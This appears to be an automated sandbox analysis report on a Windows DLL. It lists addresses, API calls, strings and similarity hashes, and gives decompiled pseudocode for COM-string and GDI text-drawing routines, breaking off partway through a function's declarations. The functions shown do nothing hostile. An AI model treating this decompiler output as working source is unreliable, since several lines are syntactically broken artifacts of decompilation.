0x6ed2b797
0x6ed287f2
0x6ed287ff
0x6ed28805
0x6ed28807
0x6ed28951
0x6ed28952
0x00000000
0x6ed2880d
0x6ed28818
0x6ed2881f
0x6ed28825
0x6ed28827
0x6ed28829
0x6ed2882c
0x6ed2882e
0x6ed28831
0x6ed28838
0x6ed2883f
0x6ed28844
0x6ed28846
0x6ed28848
0x6ed2884e
0x6ed2884f
0x6ed28852
0x6ed28864
0x6ed28867
0x6ed28854
0x6ed28856
0x6ed2885b
0x6ed2885e
0x6ed2885e
0x6ed28852
0x6ed2886c
0x6ed2886f
0x6ed2886f
0x6ed28874
0x6ed2887b
0x6ed2887f
0x6ed28882
0x6ed28884
0x00000000
0x6ed2888a
0x6ed2888c
0x6ed2888f
0x6ed28895
0x6ed2889c
0x6ed2889f
0x6ed288a1
0x6ed2892a
0x6ed2892e
0x6ed28931
0x6ed28933
0x6ed28938
0x6ed28938
0x00000000
0x6ed288a7
0x6ed288a7
0x6ed288aa
0x6ed288ad
0x6ed288af
0x6ed288b1
0x6ed288b3
0x6ed288b7
0x6ed288b9
0x6ed288be
0x6ed288c1
0x6ed288c4
0x6ed288c4
0x6ed288c7
0x6ed288ca
0x6ed288ce
0x6ed288d0
0x6ed288d5
0x6ed288d8
0x6ed288d8
0x6ed288d0
0x6ed288db
0x6ed288df
0x6ed288e1
0x6ed288e3
0x6ed288e6
0x6ed288e6
0x6ed288ec
0x6ed288ee
0x6ed288f1
0x6ed288f3
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed288f3
0x6ed288a1
0x6ed28884
0x6ed28807
0x6ed287ec
0x00000000
0x6ed287bf
0x00000000
0x6ed287a0
0x6ed2878f
0x6ed286bd
0x6ed286bd
0x00000000
0x6ed286bd
0x6ed286bb
0x6ed286ab
0x6ed28442
0x6ed2844f
0x6ed28455
0x6ed28457
0x6ed28673
0x6ed28674
0x00000000
0x6ed2845d
0x6ed28468
0x6ed2846f
0x6ed28471
0x6ed28473
0x6ed28476
0x6ed28591
0x6ed28591
0x6ed28598
0x6ed2859c
0x6ed2859f
0x6ed285a1
0x00000000
0x6ed285a7
0x6ed285a9
0x6ed285ac
0x6ed285b2
0x6ed285b9
0x6ed285bc
0x6ed285be
0x6ed28647
0x6ed2864b
0x6ed2864e
0x6ed28650
0x6ed28655
0x6ed28655
0x00000000
0x6ed285c4
0x6ed285c4
0x6ed285c7
0x6ed285ca
0x6ed285cc
0x6ed285ce
0x6ed285d0
0x6ed285d4
0x6ed285d6
0x6ed285db
0x6ed285de
0x6ed285e1
0x6ed285e1
0x6ed285e4
0x6ed285e7
0x6ed285eb
0x6ed285ed
0x6ed285f2
0x6ed285f5
0x6ed285f5
0x6ed285ed
0x6ed285f8
0x6ed285fc
0x6ed285fe
0x6ed28600
0x6ed28603
0x6ed28603
0x6ed28609
0x6ed2860b
0x6ed2860e
0x6ed28610
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed28610
0x6ed285be
0x6ed2847c
0x6ed2847e
0x6ed28485
0x6ed28488
0x6ed2848f
0x6ed28496
0x6ed2849a
0x6ed2849d
0x6ed284a4
0x6ed284ab
0x6ed284af
0x6ed284b2
0x6ed284b7
0x6ed284b9
0x6ed284c1
0x6ed284c6
0x6ed284cd
0x6ed284d0
0x6ed284d3
0x6ed284d5
0x6ed284d7
0x6ed284dd
0x6ed284e0
0x6ed284e4
0x6ed284e5
0x6ed284e5
0x6ed284ea
0x6ed284ed
0x6ed284f0
0x6ed284f2
0x6ed284f4
0x6ed284f8
0x6ed284fb
0x6ed284ff
0x6ed28500
0x6ed28500
0x6ed284f2
0x6ed28505
0x6ed28509
0x6ed2850c
0x6ed2850f
0x6ed28543
0x6ed28543
0x6ed28548
0x6ed2854f
0x6ed28556
0x6ed2855a
0x6ed2855d
0x00000000
0x6ed2855f
0x6ed2855f
0x6ed28562
0x6ed28569
0x6ed2856b
0x6ed28571
0x6ed28587
0x6ed28587
0x6ed28589
0x6ed2858e
0x00000000
0x6ed28573
0x6ed28573
0x6ed28576
0x6ed2857e
0x6ed28581
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed28581
0x6ed28571
0x6ed28511
0x6ed28511
0x6ed28514
0x6ed2851b
0x6ed2851d
0x6ed28523
0x6ed28539
0x6ed28539
0x6ed2853b
0x6ed28540
0x00000000
0x6ed28525
0x6ed28525
0x6ed28528
0x6ed28530
0x6ed28533
0x6ed2866e
0x6ed2866e
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed28533
0x6ed28523
0x6ed2850f
0x6ed28476
0x6ed28457
0x6ed2843c
0x00000000
0x6ed2840f
0x00000000
0x6ed283f0
0x6ed283e0
0x6ed28108
0x6ed2810a
0x6ed2810d
0x6ed28113
0x6ed2811a
0x6ed2811d
0x6ed2811f
0x6ed28128
0x6ed2812f
0x6ed28133
0x6ed28136
0x6ed28138
0x00000000
0x6ed2813e
0x6ed28140
0x6ed28143
0x6ed2814f
0x6ed28156
0x6ed2815b
0x6ed2815f
0x6ed28161
0x6ed28163
0x6ed28169
0x6ed28169
0x6ed28165
0x6ed28165
0x6ed28165
0x6ed2816b
0x6ed28171
0x6ed28173
0x6ed28177
0x6ed28179
0x6ed2817c
0x6ed2817e
0x6ed28183
0x6ed28188
0x6ed28188
0x6ed28189
0x6ed2818b
0x6ed2818d
0x6ed2818f
0x6ed28191
0x6ed28193
0x6ed28196
0x6ed2819c
0x6ed2819c
0x6ed281a2
0x6ed281a5
0x6ed281a7
0x6ed281aa
0x6ed281af
0x6ed281b2
0x6ed281b2
0x6ed281b9
0x6ed281bc
0x6ed281c1
0x6ed281c1
0x6ed2818d
0x6ed28189
0x6ed281c4
0x6ed281c6
0x6ed28323
0x6ed28323
0x6ed28323
0x00000000
0x6ed281cc
0x6ed281cc
0x6ed281cf
0x6ed281d1
0x00000000
0x6ed281d7
0x6ed281d7
0x6ed281d9
0x6ed281de
0x6ed281e1
0x6ed281e3
0x00000000
0x6ed281e9
0x6ed281ed
0x6ed281f7
0x6ed281fb
0x6ed28201
0x6ed28203
0x6ed28369
0x00000000
0x6ed28209
0x6ed2820c
0x6ed28210
0x6ed28214
0x6ed28219
0x6ed2821d
0x6ed2821f
0x6ed28221
0x6ed28227
0x6ed28227
0x6ed28223
0x6ed28223
0x6ed28223
0x6ed28229
0x6ed2822b
0x6ed28230
0x6ed28230
0x6ed28233
0x6ed28236
0x6ed28236
0x6ed28243
0x6ed28248
0x6ed2824b
0x6ed28253
0x6ed28257
0x6ed2825e
0x6ed28260
0x6ed28263
0x6ed28265
0x00000000
0x6ed2826b
0x6ed2826d
0x6ed28270
0x6ed28274
0x6ed28277
0x6ed28279
0x6ed2827e
0x6ed2827e
0x6ed28281
0x6ed2828d
0x6ed28294
0x6ed28299
0x6ed2829d
0x6ed2829f
0x6ed282a1
0x6ed282a7
0x6ed282a7
0x6ed282a3
0x6ed282a3
0x6ed282a3
0x6ed282af
0x6ed282b1
0x6ed282b4
0x6ed282b8
0x6ed282ba
0x6ed282bf
0x6ed282c1
0x00000000
0x6ed282c3
0x6ed282c3
0x6ed282c6
0x6ed282c8
0x00000000
0x6ed282ce
0x6ed282d0
0x6ed282d5
0x6ed282d8
0x6ed282da
0x00000000
0x6ed282dc
0x6ed282e8
0x6ed282ec
0x6ed282f0
0x6ed282f5
0x6ed282f9
0x6ed282fb
0x6ed282fd
0x6ed28303
0x6ed28303
0x6ed282ff
0x6ed282ff
0x6ed282ff
0x6ed28314
0x6ed2831d
0x6ed2831f
0x6ed2831f
0x6ed28325
0x6ed28325
0x6ed28329
0x6ed2832c
0x6ed2832e
0x6ed28333
0x6ed28333
0x00000000
0x6ed2832e
0x6ed282c8
0x6ed282c1
0x6ed28265
0x6ed28203
0x6ed281e3
0x6ed281d1
0x6ed281c6
0x6ed28121
0x6ed28121
0x6ed28336
0x6ed28336
0x6ed2833d
0x6ed28340
0x6ed28342
0x6ed28344
0x6ed28347
0x6ed28347
0x6ed2834f
0x6ed28357
0x6ed28358
0x6ed28359
0x6ed2835d
0x6ed28367
0x6ed28367
0x6ed2811f
0x6ed28102
0x6ed27f50
0x6ed27f27
0x00000000

APIs

SysAllocString.OLEAUT32(?), ref: 6ED27F46
VariantInit.OLEAUT32(?), ref: 6ED27F78
VariantChangeType.OLEAUT32(?,?,00000000,00000008), ref: 6ED27FA0
SysFreeString.OLEAUT32(-00000001), ref: 6ED27FE1
SysAllocString.OLEAUT32(?), ref: 6ED28049
VariantClear.OLEAUT32(?), ref: 6ED2806B
_com_issue_error.COMSUPP ref: 6ED28096
_com_issue_error.COMSUPP ref: 6ED280A0
_com_issue_error.COMSUPP ref: 6ED280A6
_com_issue_error.COMSUPP ref: 6ED280B0
_com_issue_error.COMSUPP ref: 6ED280BA

Strings

value, xrefs: 6ED28288
name, xrefs: 6ED2814A
page, xrefs: 6ED287CB, 6ED287F6
counter, xrefs: 6ED2841B, 6ED28446

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: _com_issue_error$StringVariant$Alloc$ChangeClearFreeInitType
String ID: counter$name$page$value
API String ID: 661817203-1733285648
Opcode ID: 69467ac8f8e9414fd357c82df926eae6c4d1d098a3421278a36b3a34e45ff08d
Instruction ID: c801ac11a082019fa9f2542a7350d99771eba3df94b91887849dccea1880754f
Opcode Fuzzy Hash: 69467ac8f8e9414fd357c82df926eae6c4d1d098a3421278a36b3a34e45ff08d
Instruction Fuzzy Hash: 2451FB71904716EFE760CFE4C944B4BB7F8AF05718F204A29EA55AB2C0D775E984C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 6ED30DF0, Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 298
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E6ED30DF0(intOrPtr __ecx, void* _a4, intOrPtr _a8, intOrPtr _a12) {
				signed int _v12;
				char _v528;
				char _v1040;
				short _v3088;
				char _v5136;
				struct tagRECT _v5152;
				intOrPtr _v5180;
				char _v5184;
				struct tagTEXTMETRICW _v5244;
				int _v5248;
				signed int _v5252;
				intOrPtr _v5260;
				intOrPtr* _v5268;
				struct HDC__* _v5272;
				short _v5276;
				intOrPtr* _v5280;
				intOrPtr _v5284;
				char _v5292;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t99;
				signed int _t104;
				intOrPtr _t126;
				int _t129;
				void* _t132;
				void* _t135;
				intOrPtr _t136;
				intOrPtr _t146;
				intOrPtr _t147;
				intOrPtr _t150;
				intOrPtr _t156;
				intOrPtr* _t164;
				signed int _t172;
				intOrPtr* _t174;
				signed int _t175;
				WCHAR* _t177;
				struct HDC__* _t178;
				intOrPtr* _t179;
				intOrPtr _t180;
				intOrPtr _t181;
				intOrPtr _t186;
				intOrPtr* _t188;
				signed int _t192;
				void* _t193;
				intOrPtr _t197;
				intOrPtr* _t199;
				intOrPtr _t201;
				short _t202;
				void* _t203;
				signed int _t205;
				void* _t207;
				WCHAR* _t209;
				short _t211;
				void* _t212;
				short _t213;
				signed int _t216;
				void* _t217;
				void* _t219;
				void* _t220;
				void* _t223;

				_t181 = __ecx;
				E6ED578A0(0x14a8);
				_t99 =  *0x6ed6d008; // 0x3f169fae
				_v12 = _t99 ^ _t216;
				_t101 =  *((intOrPtr*)(__ecx + 0x7c));
				_t201 =  *((intOrPtr*)(__ecx + 0x78));
				_v5284 = __ecx;
				_t212 = _a4;
				_v5272 = _t212;
				if(_t201 != _t101) {
					_t175 =  *(__ecx + 0x8c);
					_t104 = _t101 - _t201 >> 4;
					if(_t104 <= _t175) {
						_t175 = _t104 - 1;
						 *(__ecx + 0x8c) = _t175;
					}
					_t174 = (_t175 << 4) + _t201;
					_v5280 = _t174;
					_t101 =  *((intOrPtr*)(_t174 + 4));
					if( *((intOrPtr*)(_t174 + 4)) !=  *((intOrPtr*)(_t174 + 8))) {
						asm("xorps xmm0, xmm0");
						asm("movups [ebp-0x143c], xmm0");
						asm("movups [ebp-0x142c], xmm0");
						E6ED33660(_t181 + 0x3c, _t201,  &_v5184);
						GetTextMetricsW(_t212,  &_v5244);
						E6ED38400(_t207,  &_v3088, 0, 0x800);
						E6ED38400(_t207,  &_v5136, 0, 0x800);
						_t219 = _t217 + 0x18;
						_v5252 = 0;
						if(( *((intOrPtr*)(_t174 + 8)) -  *((intOrPtr*)(_t174 + 4)) >> 3) * 0xb6db6db7 != 0) {
							_t202 = 0;
							_v5276 = 0;
							do {
								_v3088 = 0;
								_t209 =  *((intOrPtr*)(_t174 + 4)) + _t202;
								_v5248 = _t209;
								_t213 = _t209[0x14];
								if(_t213 != _t209[0x16]) {
									_t179 = _t213 + 0x2c;
									_v5268 = _t179;
									do {
										_t211 = _t213;
										_t146 =  *((intOrPtr*)(_t179 - 0x1c));
										if( *((intOrPtr*)(_t179 - 0x18)) >= 8) {
											_t211 =  *_t213;
										}
										_t193 = 0;
										_t205 = 0x811c9dc5;
										_t147 = _t146 + _t146;
										_v5260 = _t147;
										if(_t147 != 0) {
											_t180 = _t147;
											do {
												_t172 =  *(_t193 + _t211) & 0x000000ff;
												_t193 = _t193 + 1;
												_t205 = (_t172 ^ _t205) * 0x1000193;
											} while (_t193 < _t180);
											_t179 = _v5268;
										}
										_t150 =  *((intOrPtr*)(E6ED2CE90( &_v5184,  &_v5292, _t213, _t205) + 4));
										_t196 =  !=  ? _t150 : _v5180;
										_v5260 =  !=  ? _t150 : _v5180;
										E6ED38400(_t211,  &_v528, 0, 0x200);
										_t220 = _t219 + 0xc;
										if(_v5260 != _v5180) {
											asm("movsd xmm1, [ebx+0x24]");
											asm("xorps xmm2, xmm2");
											asm("comisd xmm1, xmm2");
											asm("movsd xmm0, [eax+0x20]");
											asm("movsd [ebp-0x148c], xmm0");
											if(__eflags > 0) {
												asm("divsd xmm0, xmm1");
												asm("movsd [ebp-0x148c], xmm0");
											}
											E6ED38400(_t211,  &_v1040, 0, 0x200);
											_t156 =  *((intOrPtr*)(_t179 + 0x20));
											_t197 =  *((intOrPtr*)(_t179 + 0x1c));
											__eflags = _t156;
											_push("f");
											_t157 =  <=  ? 0 : _t156;
											_push( <=  ? 0 : _t156);
											__eflags = _t197;
											_t198 =  <=  ? 0 : _t197;
											E6ED2D260( &_v1040, 0x100, L"%s%d.%d%s", "%");
											asm("movsd xmm0, [ebp-0x148c]");
											asm("movsd [esp], xmm0");
											E6ED2D260( &_v528, 0x100,  &_v1040,  <=  ? 0 : _t197);
											_t223 = _t220 + 0x34;
										} else {
											E6ED44B24( &_v528, 0x100, L"[N/A]");
											_t223 = _t220 + 0xc;
										}
										_t199 = _t179 + 4;
										if( *((intOrPtr*)(_t179 + 0x18)) >= 8) {
											_t199 =  *_t199;
										}
										_t164 = _t179 - 0x14;
										if( *_t179 >= 8) {
											_t164 =  *_t164;
										}
										_push(_t199);
										_push( &_v528);
										E6ED2D260( &_v5136, 0x400, L"%s%s%s", _t164);
										E6ED44AAF( &_v3088, 0x400,  &_v5136);
										_t209 = _v5248;
										_t213 = _t213 + 0x58;
										_t179 = _t179 + 0x58;
										_t219 = _t223 + 0x24;
										_v5268 = _t179;
									} while (_t213 != _t209[0x16]);
									_t174 = _v5280;
								}
								GetClientRect( *(_v5284 + 0x18),  &_v5152);
								_t186 = _a12;
								_v5152.bottom = _v5152.bottom + _t186;
								_t177 = _t209;
								_v5152.top = _v5152.top + (_v5244.tmHeight - _v5244.tmExternalLeading) * _v5252 +  *_t174 + _t186;
								_t126 = _a8;
								_v5152.left = _v5152.left + _t126;
								_v5152.right = _v5152.right + _t126;
								if(_t209[0xa] >= 8) {
									_t177 =  *_t209;
								}
								_t215 =  !=  ? 0x2bc : 0;
								_t129 = GetDeviceCaps(_v5272, 0x5a);
								asm("cvttsd2si ecx, [ecx+0x20]");
								_t132 = CreateFontW( ~(MulDiv(_v5248, _t129, 0x48)), 0, 0, 0,  !=  ? 0x2bc : 0, _t209[0xc] & 0x000000ff, 0, 0, 0, 0, 0, 0, 0, _t177);
								_t178 = _v5272;
								_t212 = _t132;
								SetTextColor(_t178,  *(_v5248 + 0x1c));
								_t135 = SelectObject(_t178, _t212);
								_t188 =  &_v3088;
								_t207 = _t135;
								_t203 = _t188 + 2;
								asm("o16 nop [eax+eax]");
								do {
									_t136 =  *_t188;
									_t188 = _t188 + 2;
								} while (_t136 != 0);
								DrawTextW(_t178,  &_v3088, _t188 - _t203 >> 1,  &_v5152, 0);
								SelectObject(_t178, _t207);
								DeleteObject(_t212);
								_t174 = _v5280;
								_t192 = _v5252 + 1;
								_t202 = _v5276 + 0x38;
								_v5252 = _t192;
								_v5276 = _t202;
							} while (_t192 < ( *((intOrPtr*)(_t174 + 8)) -  *((intOrPtr*)(_t174 + 4)) >> 3) * 0xb6db6db7);
						}
						_t101 = E6ED31240(_t174,  &_v5184);
					}
				}
				return E6ED34160(_t101, _t174, _v12 ^ _t216, _t201, _t207, _t212);
			}

0x6ed30df0
0x6ed30df8
0x6ed30dfd
0x6ed30e04
0x6ed30e07
0x6ed30e0a
0x6ed30e0d
0x6ed30e15
0x6ed30e18
0x6ed30e21
0x6ed30e27
0x6ed30e2f
0x6ed30e34
0x6ed30e36
0x6ed30e39
0x6ed30e39
0x6ed30e42
0x6ed30e44
0x6ed30e4a
0x6ed30e50
0x6ed30e56
0x6ed30e63
0x6ed30e6a
0x6ed30e71
0x6ed30e7e
0x6ed30e92
0x6ed30ea8
0x6ed30eb0
0x6ed30ebf
0x6ed30ecb
0x6ed30ed1
0x6ed30ed3
0x6ed30ee0
0x6ed30ee2
0x6ed30eec
0x6ed30eee
0x6ed30ef4
0x6ed30efa
0x6ed30f00
0x6ed30f03
0x6ed30f10
0x6ed30f14
0x6ed30f16
0x6ed30f19
0x6ed30f1b
0x6ed30f1b
0x6ed30f1d
0x6ed30f1f
0x6ed30f24
0x6ed30f26
0x6ed30f2c
0x6ed30f2e
0x6ed30f30
0x6ed30f30
0x6ed30f34
0x6ed30f37
0x6ed30f3d
0x6ed30f41
0x6ed30f41
0x6ed30f68
0x6ed30f6d
0x6ed30f77
0x6ed30f7d
0x6ed30f88
0x6ed30f91
0x6ed30fb1
0x6ed30fb6
0x6ed30fb9
0x6ed30fbd
0x6ed30fc2
0x6ed30fca
0x6ed30fcc
0x6ed30fd0
0x6ed30fd0
0x6ed30fe6
0x6ed30feb
0x6ed30ff1
0x6ed30ff6
0x6ed30ff8
0x6ed30ffd
0x6ed31000
0x6ed31003
0x6ed31005
0x6ed3101f
0x6ed31024
0x6ed31035
0x6ed31047
0x6ed3104c
0x6ed30f93
0x6ed30fa4
0x6ed30fa9
0x6ed30fa9
0x6ed31053
0x6ed31056
0x6ed31058
0x6ed31058
0x6ed3105d
0x6ed31060
0x6ed31062
0x6ed31062
0x6ed31064
0x6ed3106b
0x6ed3107e
0x6ed31096
0x6ed3109b
0x6ed310a1
0x6ed310a4
0x6ed310a7
0x6ed310aa
0x6ed310b0
0x6ed310b9
0x6ed310b9
0x6ed310cf
0x6ed310e8
0x6ed310eb
0x6ed310f3
0x6ed310f7
0x6ed310fd
0x6ed31100
0x6ed31106
0x6ed31110
0x6ed31112
0x6ed31112
0x6ed31131
0x6ed31134
0x6ed31143
0x6ed31169
0x6ed3116f
0x6ed31175
0x6ed31181
0x6ed31189
0x6ed3118f
0x6ed31195
0x6ed31197
0x6ed3119a
0x6ed311a0
0x6ed311a0
0x6ed311a3
0x6ed311a6
0x6ed311c1
0x6ed311c9
0x6ed311d0
0x6ed311d6
0x6ed311e8
0x6ed311e9
0x6ed311ec
0x6ed31201
0x6ed31207
0x6ed30ee0
0x6ed31215
0x6ed31215
0x6ed30e50
0x6ed3122a

APIs

GetTextMetricsW.GDI32(?,?,?,?,?,?,?,6ED31419,?,00000000,?), ref: 6ED30E7E
GetClientRect.USER32 ref: 6ED310CF
GetDeviceCaps.GDI32(?,0000005A), ref: 6ED31134
MulDiv.KERNEL32(?,00000000,00000048), ref: 6ED31149
CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 6ED31169
SetTextColor.GDI32(?,?), ref: 6ED31181
SelectObject.GDI32(?,00000000), ref: 6ED31189
DrawTextW.USER32(?,?,?,?,00000000), ref: 6ED311C1
SelectObject.GDI32(?,00000000), ref: 6ED311C9
DeleteObject.GDI32(00000000), ref: 6ED311D0

Strings

[N/A], xrefs: 6ED30F93
%s%d.%d%s, xrefs: 6ED31014
%s%s%s, xrefs: 6ED3106D

Memory Dump Source

Source File: 00000002.00000002.649982903.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000002.00000002.649977994.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650011484.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.650033275.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.650037893.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: ObjectText$Select$CapsClientColorCreateDeleteDeviceDrawFontMetricsRect
String ID: %s%d.%d%s$%s%s%s$[N/A]
API String ID: 938400745-711029782
Opcode ID: b143886cac192ee0f24f7fa69811be431673414342f8bb40965d626190075d42
Instruction ID: ba12e67b083eacc16b3669668df982dcf9426069b7ef2c214524fbb506b70a07
Opcode Fuzzy Hash: b143886cac192ee0f24f7fa69811be431673414342f8bb40965d626190075d42
Instruction Fuzzy Hash: 72C16B759002299FDB14CF64CC85BDAB7B9FF49304F1482E9E509AB255E730EA85CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 6ED28EA0, Relevance: 21.4, APIs: 10, Strings: 2, Instructions: 405
memoryCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E6ED28EA0(void* __ebx, int* __ecx, signed int __edx, short* __edi, int __esi, long long __fp0) {
				int _v8;
				char _v12;
				int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				int _v36;
				int _v40;
				int _v44;
				signed int _v48;
				int _v52;
				int _v56;
				signed int _v60;
				int _v64;
				int _v68;
				int _v72;
				char _v75;
				int _v76;
				signed int _v80;
				int _v84;
				int _v88;
				signed int _v92;
				int _v96;
				int _v100;
				int _v104;
				signed int _v108;
				signed int _v112;
				char _v113;
				int _v116;
				int _v120;
				int _v124;
				int _v128;
				signed int _v132;
				int _v136;
				int _v140;
				int _v144;
				short* _v148;
				int _v152;
				char _v160;
				signed int _v164;
				char _v168;
				int _v172;
				signed int _v176;
				int _v180;
				int _v184;
				int _v188;
				int _v192;
				int _v196;
				int _v200;
				int _v204;
				int _v208;
				int _v212;
				int _v216;
				int _v220;
				int* _v224;
				short* _v228;
				signed int _v316;
				int _v364;
				int _v408;
				char _v416;
				signed int _v420;
				int _v432;
				signed int _v484;
				int _v564;
				char _v572;
				signed int _v576;
				int _v580;
				int _v584;
				int _v596;
				signed int _v608;
				char _v628;
				signed int _v656;
				intOrPtr _v688;
				char _v704;
				signed int _v712;
				char _v1236;
				intOrPtr _v1356;
				char _v1372;
				signed int _v1380;
				int _v1444;
				int _v1512;
				char _v1520;
				void* __ebp;
				signed int _t827;
				signed int _t828;
				intOrPtr _t835;
				signed int _t842;
				signed int _t848;
				signed int _t849;
				int _t851;
				signed int _t858;
				signed int _t864;
				signed int _t865;
				signed int _t869;
				signed int _t870;
				signed int _t875;
				int _t879;
				int _t882;
				short* _t885;
				int _t887;
				signed int _t893;
				signed int _t894;
				int _t895;
				intOrPtr* _t896;
				int _t897;
				int _t898;
				intOrPtr* _t902;
				int _t906;
				int _t914;
				int _t924;
				int _t925;
				int _t926;
				int _t927;
				int _t928;
				int _t930;
				int _t932;
				int _t934;
				int _t936;
				int _t938;
				short* _t940;
				int _t942;
				short* _t946;
				int _t947;
				short* _t949;
				int _t950;
				int _t952;
				int _t953;
				int _t954;
				int _t956;
				intOrPtr _t978;
				signed int _t982;
				int _t987;
				int _t991;
				int _t992;
				int _t993;
				int _t996;
				int _t997;
				int _t998;
				int _t1000;
				int _t1002;
				int _t1003;
				void* _t1007;
				signed int _t1008;
				void* _t1009;
				signed int _t1010;
				signed int _t1011;
				int _t1015;
				int _t1016;
				int* _t1020;
				signed int _t1022;
				int _t1025;
				int _t1026;
				int _t1029;
				int _t1030;
				int* _t1034;
				signed int _t1036;
				int _t1039;
				int _t1043;
				int _t1044;
				int _t1049;
				int _t1053;
				int _t1054;
				int _t1055;
				int _t1058;
				int _t1059;
				int _t1060;
				int _t1062;
				int _t1064;
				int _t1065;
				void* _t1069;
				signed int _t1070;
				void* _t1071;
				signed int _t1072;
				void* _t1073;
				signed int _t1074;
				void* _t1075;
				signed int _t1076;
				void* _t1077;
				signed int _t1078;
				void* _t1079;
				signed int _t1080;
				signed int _t1081;
				int _t1085;
				int _t1086;
				int* _t1090;
				signed int _t1092;
				int _t1095;
				int _t1096;
				int _t1099;
				int _t1100;
				int* _t1104;
				signed int _t1106;
				int _t1109;
				int _t1110;
				int _t1113;
				int _t1114;
				int* _t1118;
				signed int _t1121;
				int _t1124;
				int _t1125;
				int _t1128;
				int _t1129;
				int* _t1133;
				int _t1134;
				int _t1135;
				signed int _t1136;
				int _t1139;
				int _t1140;
				int _t1143;
				int _t1144;
				int* _t1148;
				int _t1149;
				int _t1150;
				signed int _t1151;
				int _t1154;
				int _t1155;
				int _t1158;
				int _t1159;
				int* _t1163;
				int _t1164;
				int _t1165;
				signed int _t1166;
				int _t1169;
				int _t1170;
				int _t1173;
				int _t1174;
				signed int _t1178;
				signed int _t1182;
				int _t1187;
				int _t1191;
				int _t1192;
				int _t1193;
				int _t1196;
				int _t1197;
				int _t1200;
				short* _t1202;
				int _t1203;
				int _t1205;
				int _t1206;
				int _t1207;
				int _t1209;
				int _t1216;
				int _t1220;
				int _t1224;
				int _t1238;
				int _t1239;
				int _t1240;
				int _t1241;
				int _t1243;
				int _t1244;
				void* _t1248;
				signed int _t1249;
				void* _t1250;
				signed int _t1251;
				void* _t1252;
				signed int _t1253;
				void* _t1254;
				signed int _t1255;
				void* _t1256;
				signed int _t1257;
				signed int _t1258;
				int _t1262;
				int _t1263;
				int* _t1267;
				signed int _t1270;
				int _t1273;
				int _t1274;
				int _t1277;
				int _t1278;
				signed int _t1285;
				int _t1288;
				int _t1289;
				int _t1292;
				int _t1293;
				int _t1298;
				void* _t1299;
				signed int _t1300;
				int _t1304;
				int _t1305;
				int _t1308;
				int _t1309;
				int _t1314;
				void* _t1315;
				signed int _t1316;
				int _t1320;
				int _t1321;
				int _t1324;
				int _t1325;
				int* _t1329;
				int _t1330;
				signed int _t1331;
				int _t1334;
				int _t1335;
				int _t1338;
				int _t1339;
				int _t1345;
				short* _t1351;
				int _t1352;
				intOrPtr* _t1354;
				int _t1356;
				int _t1358;
				void* _t1365;
				int _t1367;
				int _t1377;
				signed int _t1380;
				signed int _t1381;
				void* _t1391;
				int _t1395;
				void* _t1396;
				void* _t1398;
				short _t1400;
				void* _t1401;
				signed int _t1402;
				signed int _t1403;
				short _t1404;
				void* _t1405;
				signed int _t1406;
				signed int _t1407;
				signed int _t1408;
				signed int _t1409;
				signed int _t1410;
				signed int _t1411;
				short _t1412;
				void* _t1413;
				signed int _t1414;
				signed int _t1415;
				signed int _t1416;
				signed int _t1417;
				signed int _t1418;
				int _t1420;
				void* _t1421;
				int _t1422;
				int _t1425;
				signed int _t1426;
				signed int* _t1427;
				signed int _t1429;
				int _t1430;
				signed int _t1431;
				signed int _t1432;
				signed int _t1433;
				int* _t1434;
				int _t1435;
				int _t1436;
				intOrPtr* _t1441;
				int _t1447;
				int _t1448;
				int _t1456;
				int _t1457;
				intOrPtr* _t1468;
				intOrPtr _t1473;
				signed int _t1474;
				void* _t1475;
				int _t1476;
				signed int _t1483;
				signed int _t1485;
				int _t1495;
				signed int _t1502;
				signed int _t1504;
				signed int _t1506;
				signed int _t1508;
				signed int _t1510;
				signed int _t1512;
				signed int _t1526;
				signed int _t1533;
				signed int _t1541;
				void* _t1548;
				void* _t1549;
				int _t1550;
				signed int _t1565;
				signed int _t1567;
				signed int _t1569;
				signed int _t1571;
				int _t1575;
				signed int _t1585;
				intOrPtr _t1606;
				void* _t1609;
				signed int _t1610;
				void* _t1614;
				signed int _t1616;
				signed int _t1617;
				void* _t1618;
				void* _t1619;
				int _t1620;
				short* _t1621;
				intOrPtr _t1622;
				void* _t1623;
				short* _t1625;
				intOrPtr* _t1626;
				void* _t1627;
				void* _t1628;
				void* _t1629;
				signed int _t1630;
				void* _t1631;
				short* _t1632;
				int _t1633;
				int _t1634;
				signed int* _t1636;
				int _t1638;
				int _t1639;
				int _t1641;
				void* _t1642;
				int _t1643;
				intOrPtr _t1644;
				void* _t1645;
				int _t1646;
				int _t1647;
				int _t1648;
				int _t1649;
				int _t1651;
				int _t1653;
				int _t1655;
				void* _t1656;
				int _t1657;
				int _t1658;
				int _t1659;
				int _t1660;
				int _t1661;
				int _t1662;
				void* _t1663;
				int _t1664;
				int _t1665;
				int _t1666;
				int _t1667;
				int _t1668;
				int _t1669;
				int _t1670;
				int _t1671;
				int _t1672;
				int _t1673;
				int _t1674;
				int _t1675;
				void* _t1676;
				int _t1677;
				void* _t1678;
				int _t1679;
				void* _t1680;
				int _t1681;
				void* _t1682;
				int _t1683;
				int _t1684;
				int _t1685;
				int _t1686;
				int _t1687;
				void* _t1688;
				void* _t1689;
